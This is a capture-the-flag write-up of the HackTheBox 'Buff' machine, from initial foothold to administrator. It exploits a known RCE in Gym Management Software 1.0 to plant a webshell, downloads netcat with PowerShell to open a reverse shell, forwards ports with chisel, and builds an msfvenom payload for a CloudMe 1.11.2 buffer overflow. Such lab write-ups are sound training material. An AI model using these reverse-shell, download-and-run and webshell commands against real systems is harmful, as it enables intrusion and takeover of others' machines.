chu@antisec:~/htb$

← ../ writeups

chu@antisec:~/htb$ cat buff.md

Buff - HackTheBox - WriteUp

Buff
buff — machine card on hackthebox

chu@antisec:~/htb$ cat tools.txt

Tools used

Let's start by running an Nmap scan looking for active ports and services:

Accessing the Web service, we can find the version of the CMS used on the site:

● url
http://10.10.10.198:8080/contact.php
Image
gym management — CMS contact page
● version
Gym Management Software 1.0

After finding the CMS version, we can search for vulnerabilities already known for it.

On the Exploit-DB site we find some exploits and one of them looks very interesting;

Image
exploit-db — searching for CMS exploits

The exploit can execute commands remotely and without authentication!

Well, let's test it!

Image
rce — exploit executed successfully

We can see the exploit worked and uploaded a webshell. XD

Our webshell got dropped at:

● webshell
http://10.10.10.198:8080/upload/kamehameha.php

If we want to use the browser to run commands, we use the 'telepathy' parameter to pass our commands: Ex:

Image
telepathy — command via parameter
● url
http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami

Let's use the shell in our own terminal. Once we can execute commands, let's try to get the reverse connection going. We'll bring up a python server on our machine to send netcat over to our target:

Image
python — bringing up a file server
● cmd
python -m SimpleHTTPServer 80

Let's try to throw netcat onto the target machine, through our initial shell.

Let's use PowerShell for that

Image
powershell — downloading netcat
● cmd
powershell Invoke-WebRequest -Uri 'http://10.10.14.146/nc.exe'-OutFile 'C:\xampp\htdocs\gym\upload\nc.exe'

After the upload, let's connect back to our machine using netcat.

Image
reverse shell — connection via netcat
● cmd
.\nc.exe 10.10.14.146 433 -e powershell.exe

On our machine, we open port 443 for netcat to connect to:

Image
netcat — listener on port 443
● cmd
nc -vnlp 443

Once we get initial access and enumerate what's running on the machine, we can find a piece of software called CloudMe 1.11.2

Image
cloudme — software enumeration

Let's do what we did with the other software, let's search for known vulnerabilities:

Image
exploit-db — cloudme vulnerabilities

Digging deeper into this software, it's possible to find an exploit that uses a Buffer Overflow in version 1.11.2 for privilege escalation.

Analyzing CloudMe, we can see it's running locally only... Our target doesn't have python, so we can't run the exploit... Let's try a portforward to run the exploit. The first time I did this box, I used plink.exe, but when I redid it to take the screenshots, I tried for hours and it wouldn't work...

For that, let's try using chisel.exe:

Let's send it over to the machine:

Image
powershell — sending the binary
● cmd
powershell Invoke-WebRequest -Uri 'http://10.10.14.145/windao.exe'-OutFile 'C:\xampp\htdocs\gym\upload\windao.exe'

Saved it with that name to keep other people from using the same file(RIP vip)

Image
upload — binary already on the target

Let's edit the exploit payload so it connects back to our machine: Using msfvenom we create a payload:

Image
msfvenom — generating the payload
● cmd
msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe 10.10.14.145 4444 -e cmd.exe' -b '\x00\x0A\x0D' -f python -v payload

After that we insert it into our exploit(48389.py).

Image
exploit — payload inserted into 48389.py

Running Chisel as the server:

Image
chisel — server on our machine
● cmd
./chisel server --reverse --port 10001

Using Chisel as the client:

Image
chisel — client on the target
● cmd
.\chisel.exe client 10.10.14.145:10001 R:3306:localhost:3306 R:8888:localhost:8888

Once the Chisel connection is done, we can run the already-edited exploit with our payload, which makes a connection on port 4444, so we open the port with netcat and wait for the connection. Note: I had to run the exploit more than once to receive the connection.

● cmd
nc -vvnlp 4444

now we're admin/root XD

Image
root — admin shell

if i helped you, add + respect at my profile :D

My references: